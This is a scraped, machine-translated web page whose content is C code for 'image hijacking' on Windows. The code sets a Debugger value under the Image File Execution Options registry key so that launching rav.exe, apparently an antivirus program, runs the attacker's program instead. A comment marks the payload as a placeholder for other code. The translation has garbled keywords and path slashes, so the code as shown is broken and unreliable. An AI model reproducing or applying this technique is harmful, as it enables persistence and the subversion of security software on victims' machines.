Image hijacking using VC ++ (360 safe deposit box startup principle)

Source: Internet
Author: User

# Include "stdafx. H"
# Include <stdio. h>
# Include <windows. h>

Int main (INT argc, char * argv [])
{
Char temp [256];
DWORD ret;
Lpctstr szregkey = "software // Microsoft // Windows NT // CurrentVersion // Image File Execution options"; // define a string pointer to save the keypoint of image hijacking
Hkey h_key;
If (argc! = 1) // if no parameter is set, extract 2nd parameters, that is, the parameter is hijacked. Program Path
{
Memset (temp, 0,256 );
Strcpy (temp, argv [1]);
For (INT I = 0; I <strlen (temp); I ++) // replace/in the path with/, or/, that is Code Longer
{
If (temp [I] = '//')
Temp [I] = '/';
}
Ret = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key); // enable the sub-key in the registry that requires image hijacking to obtain the handle
If (ret = error_success)
{
Printf ("Open OK! /N ");
If (error_success = regdeletekey (h_key, "rav.exe") // Delete the rav sub-key under the sub-key opened above
{
Printf ("delete OK! /N ");
Regclosekey (h_key );
Winexec (temp, sw_show); // run the hijacked Program
}
Else
{
Printf ("delete failed! /N ");
Regclosekey (h_key );
}
}
Else
Printf ("Open failed! /N ");
}
Memset (temp, 0,256 );
Getmodulefilename (null, temp, 256); // get the program's own path and prepare for writing to the registry below
Hkey hresultkey = NULL;
If (error_success = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key) // open the sub-Key of registry image hijacking to obtain the handle
{
DWORD dw;
Ret = regcreatekeyex (h_key, "rav.exe", 0, reg_none, reg_option_non_volatile, key_all_access, null, & hresultkey, & DW ); // create and open the rav sub-key under the sub-key opened above to obtain the handle
If (Ret! = Error_success)
{
Regclosekey (h_key );
Printf ("creat failed! /N ");
Return 1;
}
Printf ("creat OK! /N ");
Ret = regsetvalueex (hresultkey, "Debugger", 0, REG_SZ, (const byte *) temp, strlen (temp) + 1 ); // create the debugger key on the rav key and set the value to the path of the Program for image hijacking
If (Ret! = Error_success)
{
Regclosekey (h_key );
Regclosekey (hresultkey );
Return 1;
}
Regclosekey (h_key );
Regclosekey (hresultkey );
Printf ("set OK! /N ");
}
MessageBox (null, "OK! "," Successful! ", Mb_ OK); // used for testing the program, which can be replaced with other code to be executed

Return 0;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.